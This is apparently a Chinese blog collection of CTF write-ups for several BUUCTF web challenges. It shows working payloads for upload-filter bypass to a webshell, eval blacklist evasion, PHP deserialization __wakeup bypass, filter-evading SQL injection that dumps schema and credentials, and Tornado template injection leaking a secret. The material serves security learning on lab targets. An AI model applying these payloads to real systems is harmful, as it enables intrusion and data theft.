[极客大挑战 2019]Upload
upload想到了文件上传漏洞，先传个一句话木马试试，php和图片马都不行
试一下phtml，phtml一般是指嵌入了php代码的html文件，但是同样也会作为php解析
也不行，抓包改一下Content-Type
不让用<?，那就换一种
。。。。
再加个文件头
GIF89a
OK了，猜测路径应该在/upload里面
蚁剑连上找到根目录下的flag
[RoarCTF 2019]Easy Calc
源码发现
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
是可以绕过的
在这里说一下，这个空格让waf找不到变量但是php解析的时候可以找到
扫根目录下的所有文件，使用scandir("/"),但是“/”被过滤了，所以我们用chr(“47”)绕过
payload:?%20num=var_dump(scandir(chr(47)))
然后读flag
payload:?%20num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
chr(47).chr(102).chr(49).chr(97).chr(103).chr(103) = 》 /f1agg
[ACTF2020 新生赛]Upload
f12把前端检查删掉然后直接传phtml，然后蚁剑连
[极客大挑战 2019]PHP
dirsearch扫
./dirsearch.py -u http://887b5639-b212-41c1-92e1-ede64684467d.node4.buuoj.cn:81/ -e php
打开之后看看index.php
在class.php中会以get方式接受变量select，并且反序列化这个叫select的字符串
再来看看class.php里
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
只有当username=admin且password=100才会输出flag，但是要想办法绕过wakeup函数，否则会把username赋值成guest
那么首先赋值并序列化看看
$a = new Name('admin', 100);
echo serialize($a)
O:4:“Name”:2:{s:14:“Nameusername”;s:5:“admin”;s:14:“Namepassword”;i:100;}
当属性个数大于实际时wakeup会被绕过，那么改成
O:4:“Name”:3:{s:14:“Nameusername”;s:5:“admin”;s:14:“Namepassword”;i:100;}
但是注意到变量是private类型的，所以要加上 %00（url编码过后的，实际上是0x00，echo输出碰见是空就过去了，我们要手动加上）
O:4:“Name”:3:{s:14:"%00Name%00username";s:5:“admin”;s:14:"%00Name%00password";i:100;}
payload：?select=O:4:“Name”:3:{s:14:"%00Name%00username";s:5:“admin”;s:14:"%00Name%00password";i:100;}
拿来吧你！
BUUCTF-[极客大挑战 2019]BabySQL
过滤了是吧，看看你都过滤啥了
?username=admin&password=1+%27+union+select+1+%23
就给我剩个1 #，union和select都被过滤了是吧
双写试试（replace查到过滤的字符串然后替换为空【我猜的】）
1 ’ uniunionon selselectect 1 #
绕过了，但是列数不对
试到3的时候对了
开始整活儿，看看数据库版本
1 ’ uniunionon selselectect 1,version(),@@version_compile_os#
继续
1 ’ uniunionon selselectect 1,database(),user()#
当前库为geek，爆一下所有库
1’ ununionion seselectlect 1,2,group_concat(schema_name)frfromom (infoorrmation_schema.schemata) #
这么多库，先看看ctf里面
爆表名
1’ ununionion seselectlect 1,group_concat(table_name),table_name frfromom infoorrmation_schema.tables whewherere table_schema=‘geek’#
爆列名
1’ ununionion seselectlect 1,2, group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name=‘b4bsql’#
后面跟lovesql很像了
1’ ununionion seselectlect 1,database(),group_concat(id,username,passwoorrd) frofromm b4bsql#
拿来吧你！
[ACTF2020 新生赛]BackupFile
./dirsearch.py -u http://f17406d8-e02f-4041-b7d0-61291ea70c7f.node4.buuoj.cn:81/ -e php
扫出来index.php.bak，下载到本地看看源码
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
get一个变量key，如果不是数字或数字字符串就exit，然后返回变量的整数值，如果key==str就输出flag
传123就好（注意是==）
[护网杯 2018]easy_tornado
三个链接的内容：
flag in /fllllllllllllag
render
md5(cookie_secret+md5(filename))
render是python中的一个渲染函数，也就是一种模板，通过调用的参数不同，生成不同的网页 render配合Tornado使用。
Tornado是一种 Web 服务器软件的开源版本。Tornado 和现在的主流 Web 服务器框架（包括大多数 Python 的框架）有着明显的区别：它是非阻塞式服务器，而且速度相当快。
在tornado模板中，存在一些可以访问的快速对象,这里用到的是handler.settings，handler 指向RequestHandler，而RequestHandler.settings又指向self.application.settings，所以handler.settings就指向
RequestHandler.application.settings了，这里面就是我们的一些环境变量
payload：error?msg={{handler.settings}}
‘cookie_secret’: ‘2785c1f6-7f9e-43f7-a518-c414b3f67235’
/fllllllllllllag md5加密后 3bf9f6cf685a6dd8defadabfb41a03a1
手动加密或者写脚本加密：
e0006bc385616ba60beedca48edce680
拿来吧你（我flllllllllag带着.txt试了半天对不起我是傻子orz）
模板注入。。嗯。。学到了
# [极客大挑战 2019]BuyFlag
管我要好多钱还有正确的password
看了看源码
弱类型比较嘛，post一个password=404a试试
hackbar没反应。。。抓包吧
嘶。。。。
user改成1试一下
果然那个user是判断我是不是那个学校学生的
让我付钱。。。再加一个money=100000000试试
太长0.0，科学计数法试试
拿来吧你
看了别的师傅的方法还能利用strcmp函数特性绕过，用money[]=1000000000，不过好像只适用于5.3之前的php